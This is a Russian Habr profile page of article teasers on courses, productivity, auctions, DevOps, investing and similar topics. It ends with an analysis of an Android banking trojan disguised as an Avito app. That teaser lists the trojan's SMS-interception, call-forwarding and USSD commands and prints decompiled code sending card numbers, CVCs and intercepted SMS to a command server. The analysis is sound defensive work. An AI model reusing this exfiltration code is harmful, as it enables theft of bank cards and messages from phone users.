Как стать автором
Обновить
11
0

Разработчик

Отправить сообщение

Дайджест хороших образовательных программ для IT-специалистов и сочувствующих: в Москве и онлайне

Время на прочтение5 мин
Количество просмотров86K
image

Позавчера мы ради интереса прошлись по компаниям, сидящим по-соседству — даже в самых стабильных задумываются о сокращении штатных расписаний и урезают бюджеты на обучение сотрудников.

Так что прокачивание своих навыков, будь ты уже знаком с кодом или только думаешь об этом, — теперь, похоже, личное дело каждого. Чтобы было проще сориентироваться, мы собрали курсы и полезные события для начинающих и продолжающих IT-специалистов и их окружения. Дневные и вечерние, оффлайновые и онлайновые.

Не забывай — количество мест на самых привлекательных курсах обычно ограничено и заканчивается стремительно! А некоторые так и просто стартуют совсем скоро — запрыгивай в уходящий поезд!
Читать дальше →
Всего голосов 46: ↑38 и ↓8+30
Комментарии23

Рейтинг IT-ресурсов за январь 2015 года

Время на прочтение2 мин
Количество просмотров12K
Аналитический центр Brand Analytics представляет первый индустриальный рейтинг цитируемости русскоязычных IT-ресурсов в социальных медиа за январь 2015 г.

Данный рейтинг от Brand Analytics – своеобразный рейтинг доверия и интереса читателей к IT-ресурсам. Для расчета рейтинга анализируется количество гиперссылок на материалы изданий в русскоязычных сообщениях пользователей социальных медиа (за январь было обработано более 860 млн. сообщений).
Читать дальше →
Всего голосов 21: ↑19 и ↓2+17
Комментарии6

Learning How to Learn: впечатления

Время на прочтение4 мин
Количество просмотров87K
Я закончил августовскую сессию курса Learning How to Learn (LH2L) на Coursera и хотел бы поделиться впечатлениями с хабрасообществом, а также дать несколько советов и предостеречь.

Постулируемая цель курса — рассказать об эффективных методах обучения. В том числе и самообразования.

Курс проходил с 1 августа по 1 сентября. Лекторы — Barbara Oakley (подавляющее большинство записей) и Terence Sejnowski (появлялся изредка). К курсу прилагался опциональный учебник «A Mind for Numbers», который авторы старательно рекламировали.

Содержание курса:
Содержание, впечатления, скандалы, интриги
Всего голосов 25: ↑24 и ↓1+23
Комментарии11

Математика аукционов. Лекция в Яндексе

Время на прочтение7 мин
Количество просмотров44K
Аукционы используются для торгов практически любых товаров — рыбы и цветов, лицензий на 3G-cвязь, государственных ценных бумаг, акций частных компаний, рекламных объявлений на Яндексе. Базовые правила некоторых аукционов остаются неизменными на протяжении столетий. При этом аукционы — динамично развивающаяся область современной экономической теории. Это в первую очередь вызвано их практической важностью, а также наличием данных и возможностью формально проанализировать аукционы как игры, чьи правила совпадают с практикой. За исследование аукционов и в целом экономических механизмов было присуждено несколько Нобелевских премий.



В рамках Малой Школы анализа данных лекцию, посвященную аукционам, прочитал Сергей Измалков — профессор экономики Российской экономической школы, председатель ученого совета РЭШ. Именно аукционы стали темой его докторской диссертации. В лекции Сергей Борисович рассказывает о том, чем похожи торговля жёнами в Вавилоне и размещение рекламных объявлений в интернете. Под катом вы найдете текстовую версию лекции, но мы бы рекомендовали вам все же посмотреть видеозапись — лектор рассказывает обо всем достаточно доступно и очень увлекательно.
Читать дальше →
Всего голосов 43: ↑37 и ↓6+31
Комментарии6

Курс от Яндекса о том, что должен знать каждый разработчик, который хочет делать большие системы. Модное слово DevOps и другое

Время на прочтение5 мин
Количество просмотров107K
Всю рутину, которую можно отдать роботам, нужно отдать роботам. Большие системы без этого невозможны. В разработке и тестировании очень много похожих задач, которые не требуют высокой квалификации, но отнимают много времени. Человек, который умеет обеспечить разработку, тестирование и деплой – это редкий специалист и его на количество страничек никак не масштабируешь.

В Яндексе тестировщику невозможно без автоматизации. Мы даже развиваем экспериментального робота, который способен брать на себя функциональное тестирование. В какой-то момент мы поняли, что не так много людей осознают, сколько сейчас есть возможностей работать не 12 часов, а головой. Собрав весь свой опыт в тестировании и деплое, мы открыли в питерском офисе Яндекса Школу автоматизации процессов разработки. У нас получилась школа, где каждый, кто пишет код, может получить базовый набор знаний о том, как собрать, запустить и поддерживать сервис в продакшене так, чтобы это стоило недорого.



Курс открывает моя лекция о том, зачем вообще автоматизировать процесс разработки. Из нее вы получите представление о то, что будут рассказывать мои коллеги.

Сейчас занятия закончились, и мы, как и обещали, выкладываем записи лекций, которые перемежаются с мастер-классами, для всех желающих. Понятно, что наш опыт и знания – не 42, но мы надеемся, что они принесут вам пользу.
Читать дальше →
Всего голосов 70: ↑67 и ↓3+64
Комментарии18

Увлажнитель воздуха: купить или сделать? Сложности выбора

Время на прочтение5 мин
Количество просмотров266K
Пришла зима, отопительный сезон и вновь актуален вопрос увлажнения воздуха («Если наружный воздух значительно холоднее комфортного, его обогревают, что приводит к снижению относительной влажности воздуха. Это происходит потому, что обогрев повышает температуру, но не увеличивает количество влаги в воздухе»).
Еще и педиатр сказал, что ребенок будет болеть меньше, если поддерживать влажность в норме («Пересушивание воздуха вызывает усиленное испарение влаги отовсюду: с кожи и из организма человека и домашних животных, комнатных растений, из покрытия стен, мебели, музыкальных инструментов, паркета, книг, картин и других предметов, сделанных из гигроскопичных материалов, что вредит здоровью обитателей и сохранности предметов.»).
Вот и рекламный видеоролик, подтверждает сказанное
спойлер

Проблема лишь в том, что не существует оптимального способа увлажнения – у всех есть и серьезные недостатки и очевидные преимущества. А установка дома аквариума в планы не входит.
Обзор существующих подходов, а также конструкций «сделай сам» под катом. Надеюсь, кому-то поможет сделать свой выбор, а кто уже сделал – поделится впечатлениями с сообществом.
Читать дальше →
Всего голосов 61: ↑57 и ↓4+53
Комментарии183

Загрузка: система, экспорт проблем вниз, кризис и стратегия поведения

Время на прочтение11 мин
Количество просмотров34K
В кризис 2008 года была популярная шутка про новости по телевизору:
— Добрый вечер. Ну и хватит о добром...


Мы с вами в кризисе. Добро пожаловать.

Возможно, именно с вами страшного и необратимого еще ничего не случилось. Оно случается прямо сейчас. Вопрос только где вы: внутри мясорубки или над ней.

Модели поведения в кризис

Мы решили сделать цикл материалов и ближайшие пару недель посвятить тому, как жить и чему уделять время сейчас.

Но сначала пару слов, чему вы нас научили за последние несколько лет.
Читать дальше →
Всего голосов 32: ↑25 и ↓7+18
Комментарии2

Принтеры штрих кодов в автоматизации торговли

Время на прочтение5 мин
Количество просмотров40K
Принтеры штрих кодов и этикеток занимают важное место в процессе автоматизации торгово-складской деятельности. С помощью таких устройств можно организовать процесс этикетирования на малом, крупном или среднем предприятии.

Принтеры различаются по скорости, длине, ширине, разрешению и типу печати, а также поддержке различных интерфейсов, опций и аксессуаров. В этой статье мы расскажем начинающим автоматизаторам о том, какие бывают принтеры этикеток и как эффективнее их использовать, а также, почему стоит выбрать то или иное устройство.
Читать дальше →
Всего голосов 20: ↑13 и ↓7+6
Комментарии30

10 главных выводов, которые я сделал за Год Изучения Продуктивности

Время на прочтение9 мин
Количество просмотров192K
Предисловие переводчика: В мире написано столько книг по личной эффективности и тайм-менеджменту, что берясь за этот перевод я безусловно задавал себе вопрос: «А есть ли здесь вообще что-то новое, ради чего эту статью стоит переводить, и главное читать»? Сначала мне казалось, что я ответил на этот вопрос «да», однако реальность оказалась несколько сложнее. 

Сейчас я думаю, что сказать что-то новое человеку, который прочитал хотя бы 2-3 книги по тайм-менеджменту и личной эффективности практически невозможно. Однако существует огромная пропасть между тему, что люди знают, и тем, что люди делают. Поэтому если у вас уже есть какой-то багаж знаний по личной эффективности, я советую вместо вопроса «это что-то, чего я не знаю?» задавать другие вопросы:

1. Согласен ли я с написанным?
2. Если да, поступаю ли я так?
3. Если нет, почему и что я могу сделать чтобы начать поступать правильно? 

Уверен, так статья принесет вам гораздо больше пользы.

Должен сказать, что я с огромным удовольствиям ходил по ссылкам в этой статье, особенно по тем, которые описывают эксперименты Криса (такие как переключение между 90-часовой и 20-часовой рабочими неделями). Поэтому я принял решение сохранить все эти ссылки в переведенной статье.

Также хотел бы сделать замечание для любителей красивого русского языка. Я довольно долго думал, менять ли «продуктивность»  на более близкие родному уху «производительность» и «личную эффективность», но в итоге решил оставить всё как есть – главным образом из-за невозможности использования одного и того же слова в разных контекстах.

В качестве последнего пожелания – это довольно длинная статья, поэтому читайте продуктивно: не переключайтесь между задачами в процессе чтения; делайте перерывы если ощущаете усталость и потерю концентрации; записывайте полезные мысли, не надеясь на память.

Приятного чтения!
Читать дальше →
Всего голосов 79: ↑70 и ↓9+61
Комментарии68

100 приемов по управлению временем, вниманием и энергией

Время на прочтение15 мин
Количество просмотров291K
Примечание переводчика: Перевод первой статьи из блога «A Year of Productivity» был благосклонно встречен хабра-сообществом, и меня попросили перевести еще несколько статей из этого блога. Приведенная ниже статья — самая большая и самая близкая к практике, её перевод затянулся у меня на несколько месяцев. Как и прошлый раз рекомендую читать комфортными порциями, записывая (или копируя куда-нибудь) советы, которые хочется попробовать применить на практике.

«Хаки» времени


Ближе к концу года изучения продуктивности, я осознал, что каждая статья, которую я написал, может быть отнесена к одной из трех категорий: как лучше управлять временем, энергией или вниманием.

Управление временем – хороший источник вашей продуктивности, но все три ингредиента абсолютно важны, если вы хотите быть более продуктивными на ежедневной основе. Именно поэтому в статье вы найдете набор приемов из всех трех областей.

Для начала вот несколько моих любимых приемов по тому как:
-  получить больше времени;
-  тратить время на правильные вещи.
Читать дальше →
Всего голосов 71: ↑55 и ↓16+39
Комментарии53

Асинхронность 2: телепортация сквозь порталы

Время на прочтение27 мин
Количество просмотров49K


Не прошло и года, как я добрался до продолжения статьи про асинхронность. Эта статья развивает идеи той, самой первой статьи про асинхронность [1]. В ней обсуждается достаточно сложная задача, на примере которой будет раскрыта мощь и гибкость использования сопрограмм в различных нетривиальных сценариях. В заключение будут рассмотрены две задачи на состояние гонки (race-condition), а также небольшой, но очень приятный бонус.
Читать дальше →
Всего голосов 63: ↑60 и ↓3+57
Комментарии28

Как накормить мозг программиста… или feed your brain

Время на прочтение12 мин
Количество просмотров372K

Введение


Из всех наслаждений, отпущенных человеку в жизни,
самое изысканное — шевелить мозгами.
(Борис Акунин)


Известно, что при работе за компьютером мозг программиста затрачивает больше энергии, чем мозг других людей. Программист, как работник умственного труда, должен следить за своим питанием и здоровьем, чтобы поддерживать свой мозг в состоянии высокой работоспособности. К тому же, программист должен быть в отличной интеллектуальной форме, развивать в себе высокую творческую активность и задумываться о предотвращении возрастных ухудшений памяти.

В ранней юности, когда, погружаясь глубоко в проект, я часто забывал о еде и бывало, что моей единственной пищей за день был батон с кефиром. Теперь с годами я понимаю, как тогда травмировал мозг, не давая ему нужные для работы вещества и энергию.

В данной публикации мы рассмотрим, как правильно питаться для жизнеобеспечения мозга и как его разогнать ноотропами (в случае аврала необходимости).
Читать дальше →
Всего голосов 213: ↑163 и ↓50+113
Комментарии145

Как купить золото?

Время на прочтение5 мин
Количество просмотров138K
Пенсия для ITшника.
Тут нужно было бы писать «а что делать в старости?», «на государство недёжи никакой», «в наше время каждый должен...» и прочее бла-бла-бла и би-би-би. Но мне лень, потому — сразу к делу.

В чем главная ценность золота? В том, что оно ценно само по себе. Просто вот потому, что оно золото. Немало людей ценит презренный металл гораздо дороже, чем он реально стоит — это чисто инстинктивный порыв. «Вечная и непреходящая ценность», как скажет любой маркетолог.

А еще?
А еще золото двигается в противофазе с рынком акций. То есть, когда в экономике тайфун — все инвесторы бегут в золото, как самый надежный актив. Ну и наоборот, естественно… Это делает золото идеальным инструментом для построения «портфеля простака».
Читать дальше →
Всего голосов 92: ↑73 и ↓19+54
Комментарии167

Как я на домашнем компьютере файлы организовывал, синхронизировал и создавал резервные копии

Время на прочтение3 мин
Количество просмотров33K


Впервые я столкнулся с проблемой захламления жестких дисков на компьютере в старших классах школы. Тогда я решил проблему структурированием всех своих документов при помощи Evernote, проставив нужные теги и перенеся все документы в этот чудо-софт. Все остальные файлы как лежали в куче, так и продолжили лежать.

В универе файлов стало еще больше, количество компьютеров дома возросло до 3 штук, я начал делать бэкапы. Пока просто, делая копии текущих папок на компьютере, не особо заморачиваясь с их структурой. Под конец обучения я задумался, стоит ли хранить огромное количество своих документов на внешних серверах. Подумав немного, решил, что лучше так не делать и решил слезть с иглы Evernote. Предварительно я продумал структуру хранения файлов на компьютере, чтобы даже без поиска легко найти нужную информацию. Каждой теме, которая меня интересовала, я создавал папку в /home/username папке. Это я называл категориями. Внутри каждой категории были подпапки-проекты, обязательной была папка misc практически в каждой папке, чтобы в файловом менеджере не видеть кучи беспорядочно наваленных неструктурированных файлов. Например, у меня были папки Bioinformatics/Aligner, Development/Projects/GameOfLife. Были четкие правила наименования файлов и папок (без нижних подчеркиваний, camelCase, папки с большой буквы, файлы с маленькой). Всё вроде было хорошо, но я ленился и не всегда красиво выкладывал файлики в нужные папки, что в конечном итоге привело к захламлению моей структуры. Я решил попробовать что-то другое…
Читать дальше →
Всего голосов 25: ↑18 и ↓7+11
Комментарии33

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Всего голосов 368: ↑362 и ↓6+356
Комментарии143

Информация

В рейтинге
Не участвует
Зарегистрирован
Активность